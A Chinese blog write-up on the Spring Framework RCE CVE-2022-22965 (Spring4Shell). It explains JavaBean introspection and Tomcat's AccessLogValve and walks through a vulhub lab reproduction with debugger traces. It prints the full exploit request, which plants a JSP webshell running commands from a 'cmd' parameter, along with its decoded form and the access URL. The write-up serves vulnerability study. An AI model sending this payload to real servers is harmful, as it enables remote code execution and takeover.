spring framework RCE(CVE-2022-22965)

spring的工作原理

我们都知道,框架是为了更便捷的开发,所以会用到很多自动化的模式,比如IoC和AOP,不会像我们使用java那样,每次用到对象的时候,先要new,使用了框架后IoC控制反转,交由spring帮忙自动创建对象,再自动调用set、get给对象赋值和获取对象的值,毕竟在spring眼里,万物皆bean,用个大大的工厂,创建小小的bean

springMVC参数绑定

众所周知的MVC框架,当我们访问如下的url,我们访问的uri是/,所以就会进入到HelloController,我们给了name和age参数,,就会自动进行参数绑定,绑定到了person对象的name和age属性上

http://192.168.174.134:8080/?name=Bob&age=25

在这里插入图片描述

所以当在view里面展示的时候,这里是能拿到person的属性的

在这里插入图片描述

在这里插入图片描述

JavaBean

Spring是有工厂模式的设计的,万物皆为bean,所以我们要先知道JavaBean的原理,我们用Person类的对象,配置好后,通过自省机制(或者说反射机制)来赋值/获取这些JavaBean的属性

一般来说JavaBean都有以下特征(就拿Person类为例):

1、类是public
2、属性是private(毕竟不能直接类.属性的方式直接拿到,期望通过set和get方式)
3、set和get得是public(属性都是private,set和get自然得是public,不然无法调用了)
4、JavaBean至少存在一个无参构造

Java中常用的内省类及接口

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

话不多说,直接上代码,来看看内省机制

创建一个Java项目,先创建一个TestBean类,也就是我们的POJO“主角”

扫描二维码关注公众号,回复: 16716596 查看本文章
package com.test;

public class TestBean {
    int age;
    String name;

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    @Override
    public String toString() {
        return "Bean{" +
                "age=" + age +
                ", name='" + name + '\'' +
                '}';
    }
}

在创建一个能体现内省机制的类JavaIntrospectorStudy

package com.test;

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
import java.lang.reflect.Method;

public class JavaIntrospectorStudy {
    public static void main(String[] args) {
        try {
            TestBean bean = new TestBean();
            BeanInfo beanInfo = Introspector.getBeanInfo(TestBean.class);
            PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
            for (int i = 0; i < propertyDescriptors.length; i++) {
                Method writeMethod = propertyDescriptors[i].getWriteMethod();
                if (propertyDescriptors[i].getName().equals("age")) {
                    writeMethod.invoke(bean, 18);
                }
                if (propertyDescriptors[i].getName().equals("name")) {
                    writeMethod.invoke(bean, "游泳圈");
                }
            }
            for (int i = 0; i < propertyDescriptors.length; i++) {
                Method readMethod = propertyDescriptors[i].getReadMethod();
                if (propertyDescriptors[i].getName().equals("age")) {
                    int beanAge;
                    beanAge = (int)readMethod.invoke(bean);
                    System.out.println(beanAge);
                }
                if (propertyDescriptors[i].getName().equals("name")) {
                    String beanName;
                    beanName = (String)readMethod.invoke(bean);
                    System.out.println(beanName);
                }
            }
            System.out.println(bean);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行一下看看效果,我们只是创建了一个对象,并没有显式调用set或get方法,输出结果却是我们给的值

1、Introspector类,可以获得JavaBean的属性、事件等,通过getBeanInfo方法来获取
2、PropertyDescriptor类,获取JavaBean的beanInfo后,通过getPropertyDescriptors方法来获取bean的各种属性“大杂烩”
3、遍历这个“大杂烩”,通过getWriteMethod获取的是set类方法,通过getReadMethod获取的是get类方法
4、通过java的反射机制,使用invoke直接调用对象的方法

在这里插入图片描述

说到这,明明可以直接调用get和set,几行就搞定的,折腾这么多干啥,前面也说到了,框架贵在自动化,当bean很多时,属性也很多时,我们可以动态的去获取bean的属性,动态的去调用,那时候方能体现内省机制的优势,这也正是SpringBean的优势

Tomcat AccessLogValue

参考

https://tomcat.apache.org/tomcat-8.5-doc/api/org/apache/catalina/valves/AbstractAccessLogValve.html

在tomcat的server.xml中,在Host节点中的Value节点,其中一个就是AccessLogValue,用来处理访问日志,熟悉日志的朋友都没啥问题

className="org.apache.catalina.valves.AccessLogValve",类名
directory="logs",文件输出目录
prefix="localhost_access_log",日志文件名前缀
suffix=".txt",日志文件名后缀
pattern="%h %l %u %t &quot;%r&quot; %s %b",格式化日志内容,格式一般是%h %l %u %t “%r” %s %b ,所以%会被格式化,但通过%{xxx}i可引用请求头字段,即可保证任意字符写入,并且可以实现字符拼接,绕过webshell检测
%{xxx}i 请求headers的信息
%{xxx}o 响应headers的信息
%{xxx}c 请求cookie的信息
%{xxx}r xxx是ServletRequest的一个属性
%{xxx}s xxx是HttpSession的一个属性

另外还可以规定日期格式fileDateFormat,默认是".yyyy-MM-dd"

在这里插入图片描述

tomcat通过这种方式进行日志的打印

在这里插入图片描述

CVE-2022-22965

漏洞简介

细想一下,如果我们通过前面说的种种spring的原理,动态的set这些日志的属性值,那么是不是可以由此生成一个后缀为jsp的马呢?所以我们的目标就成了动态修改tomcat打日志的那几个字段了

影响范围

1、JDK 9及以上

2、直接或间接使用了Spring-bean包(Spring boot等框架都使用了)

3、Spring Framework < 5.3.18

4、部署方式:使用war包部署于tomcat

漏洞复现

使用vulhub+动态调试

修改docker-compose

version: '2'
services:
 spring:
   image: vulhub/spring-webmvc:5.3.17
   ports:
    - "8080:8080"
    - "5005:5005"

先启动容器,需要修改容器里的/usr/local/tomcat/bin/catalina.sh,增加一行

JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

在这里插入图片描述

idea创建远程调试项目,注意,这个是jdk11的,所以是9或以上

在这里插入图片描述

在容器里把catalina.jar和ROOT.war复制出来,或解压,或加入lib

docker cp db4db3ac4754:/usr/local/tomcat/lib/catalina.jar ./
docker cp db4db3ac4754:/usr/local/tomcat/webapps/ROOT.war ./

在这里插入图片描述

发送payload

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.174.134:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2



我们先看看这个payload,拿出关键的部分,可以看到发送的是GET请求

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
suffix: %>//
c1: Runtime
c2: <%



把GET的参数URL解码看看,pattern是个jsp马的内容,里面通过%{***}i从header里的suffix、c1、c2拿出值拼接,剩下几个参数也都比较熟悉,改tomcat的日志格式用的

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

idea开启调试模式后,发送payload

在这里插入图片描述

spring-webmvc-5.3.17.jar!\org\springframework\web\servlet\DispatcherServlet.class的doDispatch方法,获取我们提交的内容

在这里插入图片描述

spring-beans-5.3.17.jar!\org\springframework\beans\AbstractNestablePropertyAccessor.class的getPropertyValue方法,通过递归的方式,以class.module.classLoader.resources.context.parent.pipeline.first.directory为例,一层一层获取class、module…directory

在这里插入图片描述

spring-beans-5.3.17.jar!\org\springframework\beans\BeanWrapperImpl.class的getLocalPropertyHandler方法,调用getPropertyDescriptor方法

在这里插入图片描述

spring-beans-5.3.17.jar!\org\springframework\beans\AbstractNestablePropertyAccessor.class的getPropertyValue方法

在这里插入图片描述

spring-beans-5.3.17.jar!\org\springframework\beans\AbstractNestablePropertyAccessor.class的getPropertyAccessorForPropertyPath方法,获取到了我们的class.module.classLoader.resources.context.parent.pipeline.first.directory

在这里插入图片描述

spring-beans-5.3.17.jar!\org\springframework\beans\BeanWrapperImpl.class的setValue方法,要开始进行值的修改了

在这里插入图片描述

catalina.jar!\org\apache\catalina\valves.class的setDirectory方法,这里改了tomcat的server.xml的directory

在这里插入图片描述

以此类推,把所有我们传入的字段值都在类AccessLogValve中进行了各种set,最后相当于动态改了server.xml,而pattern作为格式化日志的,自然将自己的值拼接header里的字段进行日志内容写入

在这里插入图片描述

在这里插入图片描述

连接这个马就好了

192.168.174.134:8080/tomcatwar.jsp?pwd=j&cmd=id

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/zy15667076526/article/details/131527757